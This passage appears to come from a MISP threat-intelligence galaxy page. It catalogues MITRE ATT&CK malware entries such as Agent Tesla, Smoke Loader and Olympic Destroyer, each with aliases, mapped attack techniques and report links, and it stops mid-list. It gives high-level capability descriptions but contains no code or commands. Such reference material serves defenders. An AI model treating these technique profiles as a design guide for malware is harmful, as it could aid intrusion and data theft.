[Net Crawler](https://attack.mitre.org/software/S0056) is an intranet worm capable of extracting credentials using credential dumpers and spreading to systems on a network over SMB by brute forcing accounts with recovered passwords and using [PsExec](https://attack.mitre.org/software/S0029) to execute a copy of [Net Crawler](https://attack.mitre.org/software/S0056). (Citation: Cylance Cleaver)

The tag is: misp-galaxy:mitre-malware="Net Crawler - S0056"

Net Crawler - S0056 is also known as:

Net Crawler
NetC

Net Crawler - S0056 has relationships with:

similar: misp-galaxy:malpedia="NetC" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"

Table 3075. Table References
Links
https://attack.mitre.org/software/S0056
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

AutoIt backdoor - S0129

[AutoIt backdoor](https://attack.mitre.org/software/S0129) is malware that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352. (Citation: Forcepoint Monsoon) This malware makes use of the legitimate scripting language for Windows GUI automation with the same name.

The tag is: misp-galaxy:mitre-malware="AutoIt backdoor - S0129"

AutoIt backdoor - S0129 is also known as:

AutoIt backdoor

AutoIt backdoor - S0129 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 3076. Table References
Links
https://attack.mitre.org/software/S0129
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf

Agent Tesla - S0331

[Agent Tesla](https://attack.mitre.org/software/S0331) is a spyware Trojan written in visual basic.(Citation: Fortinet Agent Tesla April 2018)

The tag is: misp-galaxy:mitre-malware="Agent Tesla - S0331"

Agent Tesla - S0331 is also known as:

Agent Tesla

Agent Tesla - S0331 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"

Table 3077. Table References
Links
https://attack.mitre.org/software/S0331
https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html
https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html
https://www.digitrustgroup.com/agent-tesla-keylogger/

Power Loader - S0177

[Power Loader](https://attack.mitre.org/software/S0177) is modular code sold in the cybercrime market used as a downloader in malware families such as Carberp, Redyms and Gapz. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)

The tag is: misp-galaxy:mitre-malware="Power Loader - S0177"

Power Loader - S0177 is also known as:

Power Loader
Win32/Agent.UAW

Power Loader - S0177 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Extra Window Memory Injection - T1181" with estimative-language:likelihood-probability="almost-certain"

Table 3078. Table References
Links
https://attack.mitre.org/software/S0177
https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html
https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/

Brave Prince - S0252

[Brave Prince](https://attack.mitre.org/software/S0252) is a Korean-language implant that was first observed in the wild in December 2017. It contains similar code and behavior to [Gold Dragon](https://attack.mitre.org/software/S0249), and was seen along with [Gold Dragon](https://attack.mitre.org/software/S0249) and [RunningRAT](https://attack.mitre.org/software/S0253) in operations surrounding the 2018 Pyeongchang Winter Olympics. (Citation: McAfee Gold Dragon)

The tag is: misp-galaxy:mitre-malware="Brave Prince - S0252"

Brave Prince - S0252 is also known as:

Brave Prince

Brave Prince - S0252 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

Table 3079. Table References
Links
https://attack.mitre.org/software/S0252
https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/

Smoke Loader - S0226

[Smoke Loader](https://attack.mitre.org/software/S0226) is a malicious bot application that can be used to load other malware. [Smoke Loader](https://attack.mitre.org/software/S0226) has been seen in the wild since at least 2011 and has included a number of different payloads. It is notorious for its use of deception and self-protection. It also comes with several plug-ins. (Citation: Malwarebytes SmokeLoader 2016) (Citation: Microsoft Dofoil 2018)

The tag is: misp-galaxy:mitre-malware="Smoke Loader - S0226"

Smoke Loader - S0226 is also known as:

Smoke Loader
Dofoil

Smoke Loader - S0226 has relationships with:

similar: misp-galaxy:tool="Smoke Loader" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="SmokeLoader" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1195" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"

Table 3080. Table References
Links
https://attack.mitre.org/software/S0226
https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/
https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/

Linux Rabbit - S0362

[Linux Rabbit](https://attack.mitre.org/software/S0362) is malware that targeted Linux servers and IoT devices in a campaign lasting from August to October 2018. It shares code with another strain of malware known as Rabbot. The goal of the campaign was to install cryptocurrency miners onto the targeted servers and devices.(Citation: Anomali Linux Rabbit 2018)

The tag is: misp-galaxy:mitre-malware="Linux Rabbit - S0362"

Linux Rabbit - S0362 is also known as:

Linux Rabbit

Linux Rabbit - S0362 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern=".bash_profile and .bashrc - T1156" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 3081. Table References
Links
https://attack.mitre.org/software/S0362
https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat

Stealth Mango - S0328

[Stealth Mango](https://attack.mitre.org/software/S0328) is Android malware that has reportedly been used to successfully compromise the mobile devices of government officials, members of the military, medical professionals, and civilians. The iOS malware known as [Tangelo](https://attack.mitre.org/software/S0329) is believed to be from the same developer. (Citation: Lookout-StealthMango)

The tag is: misp-galaxy:mitre-malware="Stealth Mango - S0328"

Stealth Mango - S0328 is also known as:

Stealth Mango

Stealth Mango - S0328 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1456" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Calendar Entries - T1435" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"

Table 3082. Table References
Links
https://attack.mitre.org/software/S0328
https://info.lookout.com/rs/051-ESQ-475/images/lookout-stealth-mango-srr-us.pdf

Gold Dragon - S0249

[Gold Dragon](https://attack.mitre.org/software/S0249) is a Korean-language, data gathering implant that was first observed in the wild in South Korea in July 2017. [Gold Dragon](https://attack.mitre.org/software/S0249) was used along with [Brave Prince](https://attack.mitre.org/software/S0252) and [RunningRAT](https://attack.mitre.org/software/S0253) in operations targeting organizations associated with the 2018 Pyeongchang Winter Olympics. (Citation: McAfee Gold Dragon)

The tag is: misp-galaxy:mitre-malware="Gold Dragon - S0249"

Gold Dragon - S0249 is also known as:

Gold Dragon

Gold Dragon - S0249 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 3083. Table References
Links
https://attack.mitre.org/software/S0249
https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/

Cobian RAT - S0338

[Cobian RAT](https://attack.mitre.org/software/S0338) is a backdoor, remote access tool that has been observed since 2016.(Citation: Zscaler Cobian Aug 2017)

The tag is: misp-galaxy:mitre-malware="Cobian RAT - S0338"

Cobian RAT - S0338 is also known as:

Cobian RAT

Cobian RAT - S0338 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"

Table 3084. Table References
Links
https://attack.mitre.org/software/S0338
https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat

Cardinal RAT - S0348

[Cardinal RAT](https://attack.mitre.org/software/S0348) is a potentially low volume remote access trojan (RAT) observed since December 2015. [Cardinal RAT](https://attack.mitre.org/software/S0348) is notable for its unique utilization of uncompiled C# source code and the Microsoft Windows built-in csc.exe compiler.(Citation: PaloAlto CardinalRat Apr 2017)

The tag is: misp-galaxy:mitre-malware="Cardinal RAT - S0348"

Cardinal RAT - S0348 is also known as:

Cardinal RAT

Cardinal RAT - S0348 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1500" with estimative-language:likelihood-probability="almost-certain"

Table 3085. Table References
Links
https://attack.mitre.org/software/S0348
https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/

Olympic Destroyer - S0365

[Olympic Destroyer](https://attack.mitre.org/software/S0365) is malware that was first seen infecting computer systems at the 2018 Winter Olympics, held in Pyeongchang, South Korea. The main purpose of the malware appears to be to cause destructive impact to the affected systems. The malware leverages various native Windows utilities and API calls to carry out its destructive tasks. The malware has worm-like features to spread itself across a computer network in order to maximize its destructive impact.(Citation: Talos Olympic Destroyer 2018)

The tag is: misp-galaxy:mitre-malware="Olympic Destroyer - S0365"

Olympic Destroyer - S0365 is also known as:

Olympic Destroyer

Olympic Destroyer - S0365 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

Table 3086. Table References
Links
https://attack.mitre.org/software/S0365
https://blog.talosintelligence.com/2018/02/olympic-destroyer.html

Revenge RAT - S0379

[Revenge RAT](https://attack.mitre.org/software/S0379) is a freely available remote access tool written in .NET (C#).(Citation: Cylance Shaheen Nov 2018)(Citation: Cofense RevengeRAT Feb 2019)

The tag is: misp-galaxy:mitre-malware="Revenge RAT - S0379"

Revenge RAT - S0379 is also known as:

Revenge RAT

Revenge RAT - S0379 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Mshta - T1170" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

Table 3087. Table References
Links
https://attack.mitre.org/software/S0379
https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517
https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/

Trojan-SMS.AndroidOS.FakeInst.a - S0306

[Trojan-SMS.AndroidOS.FakeInst.a](https://attack.mitre.org/software/S0306) is Android malware. (Citation: Kaspersky-MobileMalware)

The tag is: misp-galaxy:mitre-malware="Trojan-SMS.AndroidOS.FakeInst.a - S0306"

Trojan-SMS.AndroidOS.FakeInst.a - S0306 is also known as:

Trojan-SMS.AndroidOS.FakeInst.a

Trojan-SMS.AndroidOS.FakeInst.a - S0306 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"

Table 3088. Table References
Links
https://attack.mitre.org/software/S0306
https://securelist.com/mobile-malware-evolution-2013/58335/

Trojan-SMS.AndroidOS.Agent.ao - S0307

[Trojan-SMS.AndroidOS.Agent.ao](https://attack.mitre.org/software/S0307) is Android malware. (Citation: Kaspersky-MobileMalware)

The tag is: misp-galaxy:mitre-malware="Trojan-SMS.AndroidOS.Agent.ao - S0307"

Trojan-SMS.AndroidOS.Agent.ao - S0307 is also known as:

Trojan-SMS.AndroidOS.Agent.ao

Trojan-SMS.AndroidOS.Agent.ao - S0307 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"

Table 3089. Table References
Links
https://attack.mitre.org/software/S0307
https://securelist.com/mobile-malware-evolution-2013/58335/

Trojan-SMS.AndroidOS.OpFake.a - S0308

[Trojan-SMS.AndroidOS.OpFake.a](https://attack.mitre.org/software/S0308) is Android malware. (Citation: Kaspersky-MobileMalware)

The tag is: misp-galaxy:mitre-malware="Trojan-SMS.AndroidOS.OpFake.a - S0308"

Trojan-SMS.AndroidOS.OpFake.a - S0308 is also known as:

Trojan-SMS.AndroidOS.OpFake.a

Trojan-SMS.AndroidOS.OpFake.a - S0308 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"

Table 3090. Table References
Links
https://attack.mitre.org/software/S0308
https://securelist.com/mobile-malware-evolution-2013/58335/

Mis-Type - S0084

[Mis-Type](https://attack.mitre.org/software/S0084) is a backdoor hybrid that was used by [Dust Storm](https://attack.mitre.org/groups/G0031) in 2012. (Citation: Cylance Dust Storm)

The tag is: misp-galaxy:mitre-malware="Mis-Type - S0084"

Mis-Type - S0084 is also known as:

Mis-Type

Mis-Type - S0084 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 3091. Table References
Links
https://attack.mitre.org/software/S0084
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf

S-Type - S0085

